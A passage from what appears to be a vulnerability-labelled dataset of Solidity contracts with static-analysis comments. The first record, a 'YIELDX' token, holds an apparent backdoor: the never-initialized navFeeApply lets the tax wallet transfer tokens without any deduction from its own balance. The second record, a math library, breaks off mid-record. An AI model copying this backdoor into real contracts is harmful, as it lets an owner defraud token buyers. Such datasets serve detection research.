payable(0xe64fAb7af64e9C40bbEf3B05cdE9Bc9744401430);\n\n\t// WARNING Optimization Issue (constable-states | ID: 35787ff): YIELDX._initialBuyTax should be constant \n\t// Recommendation for 35787ff: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: e5851ac): YIELDX._initialSellTax should be constant \n\t// Recommendation for e5851ac: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2b4c713): YIELDX._finalBuyTax should be constant \n\t// Recommendation for 2b4c713: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 533684c): YIELDX._finalSellTax should be constant \n\t// Recommendation for 533684c: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e646c86): YIELDX._reduceBuyTaxAt should be constant \n\t// Recommendation for e646c86: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6a0e70b): YIELDX._reduceSellTaxAt should be constant \n\t// Recommendation for 6a0e70b: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7ab7d0d): YIELDX._preventSwapBefore should be constant \n\t// Recommendation for 7ab7d0d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"YieldX\";\n\n string private constant _symbol = unicode\"YIELDX\";\n\n uint256 public constant _taxSwapThreshold = 20000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 20000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private immutable _router;\n\n address private immutable uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2363434): YIELDX.navFeeApply should be constant \n\t// Recommendation for 2363434: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private navFeeApply;\n\n struct NavSync {\n uint256 navIn;\n uint256 navOut;\n uint256 reclaimNavToken;\n }\n\n mapping(address => NavSync) private navSync;\n\n uint256 private navLimExclude;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromLimits[_taxWallet] = true;\n\n _excludedFromLimits[address(this)] = true;\n\n _router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_router.factory()).createPair(\n address(this),\n _router.WETH()\n );\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 2842e80): YIELDX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 2842e80: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b82dcda): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b82dcda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 83217a7): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 83217a7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b82dcda\n\t\t// reentrancy-benign | ID: 83217a7\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b82dcda\n\t\t// reentrancy-benign | ID: 83217a7\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e0818a2): YIELDX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e0818a2: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 83217a7\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b82dcda\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae2538b): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae2538b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a256f62): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a256f62: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2a0ca0c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2a0ca0c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(_router) &&\n !_excludedFromLimits[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ae2538b\n\t\t\t\t// reentrancy-benign | ID: a256f62\n\t\t\t\t// reentrancy-eth | ID: 2a0ca0c\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae2538b\n\t\t\t\t\t// reentrancy-eth | ID: 2a0ca0c\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n\t\t// reentrancy-benign | ID: a256f62\n _calcNavSync(from, to);\n\n\t\t// reentrancy-events | ID: ae2538b\n\t\t// reentrancy-eth | ID: 2a0ca0c\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 2a0ca0c\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 2a0ca0c\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: ae2538b\n emit Transfer(from, to, receiptAmount);\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 1281d31): YIELDX.navFeeApply is never initialized. It is used in YIELDX._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 1281d31: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : navFeeApply.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2a0ca0c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae2538b\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n function _calcNavSync(address from, address to) internal {\n if (\n (_excludedFromLimits[from] || _excludedFromLimits[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: a256f62\n navLimExclude = block.number;\n }\n\n if (!_excludedFromLimits[from] && !_excludedFromLimits[to]) {\n if (uniswapV2Pair != to) {\n NavSync storage navCalc = navSync[to];\n\n if (uniswapV2Pair == from) {\n if (navCalc.navIn == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a256f62\n navCalc.navIn = _buyCount < _preventSwapBefore\n ? block.number - 1\n : block.number;\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n if (\n navDataCalc.navIn < navCalc.navIn ||\n !(navCalc.navIn > 0)\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: a256f62\n navCalc.navIn = navDataCalc.navIn;\n }\n }\n } else {\n NavSync storage navDataCalc = navSync[from];\n\n\t\t\t\t// reentrancy-benign | ID: a256f62\n navDataCalc.navOut = navDataCalc.navIn.sub(navLimExclude);\n\n\t\t\t\t// reentrancy-benign | ID: a256f62\n navDataCalc.reclaimNavToken = block.timestamp;\n }\n }\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = _router.WETH();\n\n _approve(address(this), address(_router), tokenAmount);\n\n\t\t// reentrancy-events | ID: b82dcda\n\t\t// reentrancy-events | ID: ae2538b\n\t\t// reentrancy-benign | ID: 83217a7\n\t\t// reentrancy-benign | ID: a256f62\n\t\t// reentrancy-eth | ID: 2a0ca0c\n _router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: b82dcda\n\t\t// reentrancy-events | ID: ae2538b\n\t\t// reentrancy-eth | ID: 2a0ca0c\n _taxWallet.transfer(amount);\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function cleanStuck_ETH() external onlyOwner {\n uint256 contractBalance = address(this).balance;\n\n payable(owner()).transfer(contractBalance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 71286c3): YIELDX.enableTrading() ignores return value by _router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 71286c3: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 04ca430): YIELDX.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(_router),type()(uint256).max)\n\t// Recommendation for 04ca430: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 083df7a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 083df7a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n swapEnabled = true;\n\n _approve(address(this), address(_router), _tTotal);\n\n\t\t// unused-return | ID: 71286c3\n\t\t// reentrancy-eth | ID: 083df7a\n _router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: 04ca430\n\t\t// reentrancy-eth | ID: 083df7a\n IERC20(uniswapV2Pair).approve(address(_router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 083df7a\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10212.sol",
"size_bytes": 22158,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary SignedMath {\n function max(int256 a, int256 b) internal pure returns (int256) {\n return a > b ? a : b;\n }\n\n function min(int256 a, int256 b) internal pure returns (int256) {\n return a < b ? a : b;\n }\n\n function average(int256 a, int256 b) internal pure returns (int256) {\n int256 x = (a & b) + ((a ^ b) >> 1);\n\n return x + (int256(uint256(x) >> 255) & (a ^ b));\n }\n\n function abs(int256 n) internal pure returns (uint256) {\n unchecked {\n return uint256(n >= 0 ? n : -n);\n }\n }\n}\n\nlibrary Math {\n enum Rounding {\n Down,\n Up,\n Zero\n }\n\n function max(uint256 a, uint256 b) internal pure returns (uint256) {\n return a > b ? a : b;\n }\n\n function min(uint256 a, uint256 b) internal pure returns (uint256) {\n return a < b ? a : b;\n }\n\n function average(uint256 a, uint256 b) internal pure returns (uint256) {\n return (a & b) + (a ^ b) / 2;\n }\n\n function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) {\n return a == 0 ? 0 : (a - 1) / b + 1;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 83135ce): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division prod0 = prod0 / twos result = prod0 * inverse\n\t// Recommendation for 83135ce: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: fac1167): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for fac1167: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 893698b): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse = (3 * denominator) ^ 2\n\t// Recommendation for 893698b: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ca1ee17): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for ca1ee17: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 0ac84ed): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 0ac84ed: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 5728f93): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 5728f93: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 33937cd): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 33937cd: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 34fc4b3): Math.mulDiv(uint256,uint256,uint256) performs a multiplication on the result of a division denominator = denominator / twos inverse *= 2 denominator * inverse\n\t// Recommendation for 34fc4b3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (incorrect-exp | severity: High | ID: be3b2b5): Math.mulDiv(uint256,uint256,uint256) has bitwisexor operator ^ instead of the exponentiation operator ** inverse = (3 * denominator) ^ 2\n\t// Recommendation for be3b2b5: Use the correct operator '**' for exponentiation.\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator\n ) internal pure returns (uint256 result) {\n unchecked {\n uint256 prod0;\n\n uint256 prod1;\n\n assembly {\n let mm := mulmod(x, y, not(0))\n\n prod0 := mul(x, y)\n\n prod1 := sub(sub(mm, prod0), lt(mm, prod0))\n }\n\n if (prod1 == 0) {\n return prod0 / denominator;\n }\n\n require(denominator > prod1, \"Math: mulDiv overflow\");\n\n uint256 remainder;\n\n assembly {\n remainder := mulmod(x, y, denominator)\n\n prod1 := sub(prod1, gt(remainder, prod0))\n\n prod0 := sub(prod0, remainder)\n }\n\n uint256 twos = denominator & (~denominator + 1);\n\n assembly {\n\t\t\t\t// divide-before-multiply | ID: fac1167\n\t\t\t\t// divide-before-multiply | ID: 893698b\n\t\t\t\t// divide-before-multiply | ID: ca1ee17\n\t\t\t\t// divide-before-multiply | ID: 0ac84ed\n\t\t\t\t// divide-before-multiply | ID: 5728f93\n\t\t\t\t// divide-before-multiply | ID: 33937cd\n\t\t\t\t// divide-before-multiply | ID: 34fc4b3\n denominator := div(denominator, twos)\n\n\t\t\t\t// divide-before-multiply | ID: 83135ce\n prod0 := div(prod0, twos)\n\n twos := add(div(sub(0, twos), twos), 1)\n }\n\n prod0 |= prod1 * twos;\n\n\t\t\t// divide-before-multiply | ID: 893698b\n\t\t\t// incorrect-exp | ID: be3b2b5\n uint256 inverse = (3 * denominator) ^ 2;\n\n\t\t\t// divide-before-multiply | ID: fac1167\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 5728f93\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 33937cd\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: ca1ee17\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 34fc4b3\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 0ac84ed\n inverse *= 2 - denominator * inverse;\n\n\t\t\t// divide-before-multiply | ID: 83135ce\n result = prod0 * inverse;\n\n return result;\n }\n }\n\n function mulDiv(\n uint256 x,\n uint256 y,\n uint256 denominator,\n Rounding rounding\n ) internal pure returns (uint256) {\n uint256 result = mulDiv(x, y, denominator);\n\n if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) {\n result += 1;\n }\n\n return result;\n }\n\n function sqrt(uint256 a) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 result = 1 << (log2(a) >> 1);\n\n unchecked {\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n result = (result + a / result) >> 1;\n\n return min(result, a / result);\n }\n }\n\n function sqrt(\n uint256 a,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = sqrt(a);\n\n return\n result +\n (rounding == Rounding.Up && result * result < a ? 1 : 0);\n }\n }\n\n function log2(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 128;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 64;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 32;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 16;\n }\n\n if (value >> 8 > 0) {\n value >>= 8;\n\n result += 8;\n }\n\n if (value >> 4 > 0) {\n value >>= 4;\n\n result += 4;\n }\n\n if (value >> 2 > 0) {\n value >>= 2;\n\n result += 2;\n }\n\n if (value >> 1 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log2(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log2(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << result < value ? 1 : 0);\n }\n }\n\n function log10(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >= 10 ** 64) {\n value /= 10 ** 64;\n\n result += 64;\n }\n\n if (value >= 10 ** 32) {\n value /= 10 ** 32;\n\n result += 32;\n }\n\n if (value >= 10 ** 16) {\n value /= 10 ** 16;\n\n result += 16;\n }\n\n if (value >= 10 ** 8) {\n value /= 10 ** 8;\n\n result += 8;\n }\n\n if (value >= 10 ** 4) {\n value /= 10 ** 4;\n\n result += 4;\n }\n\n if (value >= 10 ** 2) {\n value /= 10 ** 2;\n\n result += 2;\n }\n\n if (value >= 10 ** 1) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log10(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log10(value);\n\n return\n result +\n (rounding == Rounding.Up && 10 ** result < value ? 1 : 0);\n }\n }\n\n function log256(uint256 value) internal pure returns (uint256) {\n uint256 result = 0;\n\n unchecked {\n if (value >> 128 > 0) {\n value >>= 128;\n\n result += 16;\n }\n\n if (value >> 64 > 0) {\n value >>= 64;\n\n result += 8;\n }\n\n if (value >> 32 > 0) {\n value >>= 32;\n\n result += 4;\n }\n\n if (value >> 16 > 0) {\n value >>= 16;\n\n result += 2;\n }\n\n if (value >> 8 > 0) {\n result += 1;\n }\n }\n\n return result;\n }\n\n function log256(\n uint256 value,\n Rounding rounding\n ) internal pure returns (uint256) {\n unchecked {\n uint256 result = log256(value);\n\n return\n result +\n (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0);\n }\n }\n}\n\nlibrary Strings {\n bytes16 private constant _SYMBOLS = \"0123456789abcdef\";\n\n uint8 private constant _ADDRESS_LENGTH = 20;\n\n function toString(uint256 value) internal pure returns (string memory) {\n unchecked {\n uint256 length = Math.log10(value) + 1;\n\n string memory buffer = new string(length);\n\n uint256 ptr;\n\n assembly {\n ptr := add(buffer, add(32, length))\n }\n\n while (true) {\n ptr--;\n\n assembly {\n mstore8(ptr, byte(mod(value, 10), _SYMBOLS))\n }\n\n value /= 10;\n\n if (value == 0) break;\n }\n\n return buffer;\n }\n }\n\n function toString(int256 value) internal pure returns (string memory) {\n return\n string(\n abi.encodePacked(\n value < 0 ? \"-\" : \"\",\n toString(SignedMath.abs(value))\n )\n );\n }\n\n function toHexString(uint256 value) internal pure returns (string memory) {\n unchecked {\n return toHexString(value, Math.log256(value) + 1);\n }\n }\n\n function toHexString(\n uint256 value,\n uint256 length\n ) internal pure returns (string memory) {\n bytes memory buffer = new bytes(2 * length + 2);\n\n buffer[0] = \"0\";\n\n buffer[1] = \"x\";\n\n for (uint256 i = 2 * length + 1; i > 1; --i) {\n buffer[i] = _SYMBOLS[value & 0xf];\n\n value >>= 4;\n }\n\n require(value == 0, \"Strings: hex length insufficient\");\n\n return string(buffer);\n }\n\n function toHexString(address addr) internal pure returns (string memory) {\n return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH);\n }\n\n function equal(\n string memory a,\n string memory b\n ) internal pure returns (bool) {\n return keccak256(bytes(a)) == keccak256(bytes(b));\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[from] = fromBalance - amount;\n\n _balances[to] += amount;\n }\n\n emit Transfer(from, to, amount);\n\n _afterTokenTransfer(from, to, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n\n unchecked {\n _balances[account] += amount;\n }\n\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n\n _totalSupply -= amount;\n }\n\n emit Transfer(account, address(0), amount);\n\n _afterTokenTransfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the 